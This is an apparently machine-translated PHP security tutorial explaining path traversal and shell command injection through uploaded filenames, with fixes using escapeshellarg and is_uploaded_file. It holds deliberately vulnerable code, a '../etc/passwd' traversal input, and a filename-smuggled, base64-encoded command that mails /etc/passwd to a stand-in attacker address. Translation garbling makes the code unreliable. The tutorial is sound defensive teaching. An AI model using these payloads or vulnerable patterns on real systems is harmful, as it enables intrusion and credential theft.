PHP Security and related _php

Source: Internet
Author: User
Keywords Related security files one user program
Tags zip extension
Focus on the importance of security issues
See is far from all

The most effective and often overlooked way to prevent users from maliciously destroying your program is to consider its likelihood when writing code. It is important to keep an eye on possible security issues in your code. Consider the following example functions that are designed to simplify the process of writing large numbers of text files in PHP:


function Write_text ($filename, $text = "") {
static $open _files = Array ();
Close all Files If the file name is empty
if ($filename = = NULL) {
foreach ($open _files as $FR) {
Fclose ($FR);
}
return true;
}
$index = MD5 ($filename);
if (!isset ($open _files[$index])) {
$open _files[$index] = fopen ($filename, "A +");
if (! $open _files[$index]) return false;
}
Fputs ($open _files[$index], $text);
return true;
}
?>

This function has two default parameters, a file name, and the text to be written to the document.
The function checks to see if the file has been opened and, if it does, uses the original file handle. Otherwise, it will be created by itself. In both cases, the text will be written to the file.
If the file name passed to the function is null, all open files will be closed. The below provides an example of usage.
If the developer writes multiple text files in the format below, the function will be much clearer and more readable.
Let's assume that this function exists in a separate file that contains the code that calls the function.
Below is a program that we call it quotes.php:




Include_once (' write_text.php ');
$filename = "/home/web/quotes/{$_get[' quote '}";
$quote _msg = $_get[' Quote_text ');
if (Write_text ($filename, $quote _msg)) {
echo "

Quote saved!

";
} else {
echo "

Error Writing Quote

";
}
Write_text (NULL);
?>

As you can see, the developer uses the Write_text () function to create a system that allows users to submit their favorite maxims, which will be stored in a text file.
Unfortunately, developers may not have imagined that the program also allowed malicious users to compromise Web server security.
Maybe now you're scratching your head and wondering how this seemingly innocent program has introduced security risks.
If you don't see it, consider the URL below, and remember that this program is called quotes.php:

Http://www.somewhere.com/fun/quotes.php?quote=different_file.dat&quote_text=garbage+data

What happens when this URL is passed to Web server?

Obviously, quotes.php will be executed, but instead of writing a maxim to one of the three files we want, instead, a new file called Different_file.dat will be built with a string garbage data.

Obviously, this is not the behavior we want, and a malicious user might specify the quote as: /.. /.. /etc/passwd to access the UNIX password file to create an account (although this requires Web server to run the program Superuser, if so, you should stop reading and fix it right away).

If/home/web/quotes/can be accessed through a browser, perhaps the most serious security issue for this program is that it allows any user to write to and run any PHP program. This will lead to endless trouble.

Here are some solutions. If you only need to write some files in the directory, consider using a related array to hold the file name. If a user enters a file that exists in this array, it can be safely written. Another idea is to remove all characters that are not numbers and letters to ensure that there is no directory split symbol. Another option is to check the file's extension to ensure that the file is not executed by the Web server.

The principle is simple, as a developer you have to consider more than the program runs when you want it to.

What happens if the illegal data goes into a form element? Can a malicious user make your program run in a way that you don't want? What is the way to stop these attacks? Your Web server and PHP programs are secure only under the weakest security links, so it is important to verify that these potentially unsafe links are safe.

Common Security-related errors

Here are some key points, a brief and incomplete list of possible coding and administrative errors that could compromise security


Error 1. Trust data
This is a topic that runs through my discussion of PHP program security, and you must not trust a data from outside. Regardless of whether it comes from user-submitted forms, file system files or environment variables, no data can be simply taken for granted. So the user input must be validated and formatted to ensure security.

Error 2. Store sensitive data in a web directory
Any and all sensitive data should be stored in a file that is separate from the program that needs to use the data and stored in a directory that cannot be accessed by the browser. When sensitive data needs to be used, the include or require statements are included in the appropriate PHP program.

Error 3. Do not use recommended security precautions
The PHP manual contains a complete section on security precautions when using and writing PHP programs. The manual also (almost) based on the case clearly explains when there is a potential security risk and how to minimize the risk. Also, malicious users rely on developer and administrator errors to get the security information they care about to gain system privileges. Be aware of these warnings and take appropriate steps to reduce the likelihood that malicious users will bring real damage to your system.


Executing system calls in PHP
There are many ways to perform system calls in PHP.

For example, System (), exec (), PassThru (), Popen (), and anti-single quotation mark (') operators all allow you to execute systems calls in your program. If inappropriate use of these functions will open the door for malicious users to execute system commands on your server. Like in most cases when accessing a file, a security vulnerability occurs because of a system command execution that results from unreliable external input.

An example program that uses a system call
Consider a program that handles HTTP file uploads, uses a zip program to compress the file, and then moves it to the specified directory (default is/usr/local/archives/). The code is as follows:


$zip = "/usr/bin/zip";
$store _path = "/usr/local/archives/";

if (isset ($_files[' file ')) {
$tmp _name = $_files[' file ' [' Tmp_name '];
$cmp _name = dirname ($_files[' file ' [' Tmp_name ']).
"/{$_files[' file ' [' Name ']}.zip";
$filename = basename ($cmp _name);

if (file_exists ($tmp _name)) {
$systemcall = "$zip $cmp _name $tmp _name";
$output = ' $systemcall ';

if (file_exists ($cmp _name)) {
$savepath = $store _path. $filename;
Rename ($cmp _name, $savepath);
}
}
}
?>


Although the program looks fairly straightforward, malicious users can use it in a number of ways. The most serious security problem exists when we execute the Compress command (through the ' operator), which can be seen clearly in the following line:

if (isset ($_files[' file ')) {
$tmp _name = $_files[' file ' [' Tmp_name '];
$cmp _name = dirname ($_files[' file ' [' Tmp_name ']).
"/{$_files[' file ' [' Name ']}.zip";

$filename = basename ($cmp _name);

if (file_exists ($tmp _name)) {
$systemcall = "$zip $cmp _name $tmp _name";
$output = ' $systemcall ';
...
Spoofing executes arbitrary shell commands
While this code looks fairly secure, it has the potential to make any shell command available to any user with file upload privileges!

To be precise, this security vulnerability is derived from the assignment of $cmp_name variables. Here, we want the compressed file to use the file name (with a. zip extension) When uploading from the client. We used the $_files[' file ' [' Name '] (which contains the file name of the uploaded files at the client).

In such a case, a malicious user can simply upload a file with a special meaning to the underlying operating system to achieve its purpose. For example, what happens if a user creates an empty file in the form below? (UNIX shell prompt)

[user@localhost]# Touch ';p hp-r ' $code =base64_decode (
"bwfpbcbiywr1c2vyqhnvbwv3agvyzs5jb20gpcavzxrjl3bhc3n3za==");
System ($code); '; '
This command will create a file with the following name:

;p hp-r ' $code =base64_decode (
"bwfpbcbiywr1c2vyqhnvbwv3agvyzs5jb20gpcavzxrjl3bhc3n3za==");
System ($code);
It looks strange? Let's take a look at this "filename" and we find it much like a command that makes the CLI version of PHP execute the following code:
$code =base64_decode (
"bwfpbcbiywr1c2vyqhnvbwv3agvyzs5jb20gpcavzxrjl3bhc3n3za==");
System ($code);
?>
If you show the contents of the $code variable out of curiosity, you'll find it contains mail baduser@somewhere.com </etc/passwd. If the user passes this file to the program, and then PHP executes the system tune to compress the file, PHP will actually execute the following statement:

/usr/bin/zip/tmp/;p Hp-r
' $code =base64_decode (
"bwfpbcbiywr1c2vyqhnvbwv3agvyzs5jb20gpcavzxrjl3bhc3n3za==");
System ($code); ';. Zip/tmp/phpy4iati
Surprisingly, the above command is not a statement but a 3! Since the Unix shell interprets the semicolon (;) as the end of a shell command and the beginning of another command, the system () of PHP will actually execute as follows, except that the semicolon is in quotation marks:

[user@localhost]#/usr/bin/zip/tmp/
[user@localhost]# Php-r
' $code =base64_decode (
"bwfpbcbiywr1c2vyqhnvbwv3agvyzs5jb20gpcavzxrjl3bhc3n3za==");
System ($code); '
[user@localhost]#. Zip/tmp/phpy4iati
As you can see, this seemingly harmless PHP program suddenly turns into a backdoor that executes arbitrary shell commands and other PHP programs. Although this example will only work on a system with CLI versions of PHP on the path, this technique can be used in other ways to achieve the same effect.

Against system call attacks
The key here is still that the input from the user, no matter what the content, should not be believed! The problem is still how to avoid similar situations when using system calls (except when they are not used at all). To combat this type of attack, PHP provides two functions, Escapeshellarg () and Escapeshellcmd ().

The Escapeshellarg () function is designed to remove potentially dangerous characters from user input (in our case, the zip command) as a parameter to a system command. The syntax for this function is as follows:

Escapeshellarg ($string)
The $string is where the input is used for filtering, and the return value is the filtered character. When executed, this function adds a single quotation mark around the character and escapes the single quotation mark in the original string (plus the front side). In our routines, if we add these lines before executing a system command:

$cmp _name = Escapeshellarg ($cmp _name);
$tmp _name = Escapeshellarg ($tmp _name);
We can avoid this security risk by ensuring that the parameters passed to the system call have been processed, and that there is no other intention of user input.

Escapeshellcmd () is similar to Escapeshellarg () except that it only escapes characters that have special meaning to the underlying operating system. Unlike Escapeshellarg (), Escapeshellcmd () does not handle blank spaces in the content. For example, when using Escapeshellcmd () escape, the character

$string = "' Hello, world! '; Evilcommand "
will become:

' Hello, world '; evilcommand
If the string is used as a parameter to a system call, it will still not get the correct result because the shell will interpret it as two separate parameters: ' Hello and World '; Evilcommand. Escapeshellarg () is a better choice if the user enters the parameter list section for system calls.


Protect uploaded files
Throughout this article, I've been focusing only on how system calls are hijacked by malicious users to produce the results we don't want.
However, there is another potential security risk that is worth mentioning. See our routines again and focus your attention on the following lines:

$tmp _name = $_files[' file ' [' Tmp_name '];
$cmp _name = dirname ($_files[' file ' [' Tmp_name ']).
"/{$_files[' file ' [' Name ']}.zip";

$filename = basename ($cmp _name);
if (file_exists ($tmp _name)) {
A potential security risk from the lines of code in the top fragment is that the last line we determine whether the uploaded file actually exists ($tmp_name exists in the temporary file name).

This security risk does not come from PHP itself, but the file name stored in $tmp_name is actually not a file at all, but rather to the files that a malicious user wants to access, such as/etc/passwd.

To prevent this from happening, PHP provides the Is_uploaded_file () function, which is the same as file_exists (), but it also provides a check that the file is actually uploaded from the client.

In most cases, you will need to move the uploaded file, and PHP provides the Move_uploaded_file () function to match is_uploaded_file (). This function, like rename (), is used to move a file, except that it checks automatically before execution to ensure that the file being moved is the uploaded file. The syntax for Move_uploaded_file () is as follows:

Move_uploaded_file ($filename, $destination);
At execution time, the function moves the uploaded file $filename to the destination $destination and returns a Boolean value to flag whether the operation was successful.

Note: John Coggeshall is a PHP consultant and author. It has been about 5 years since he started to sleep with PHP.
English Original: http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html
  • Related Article

    Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.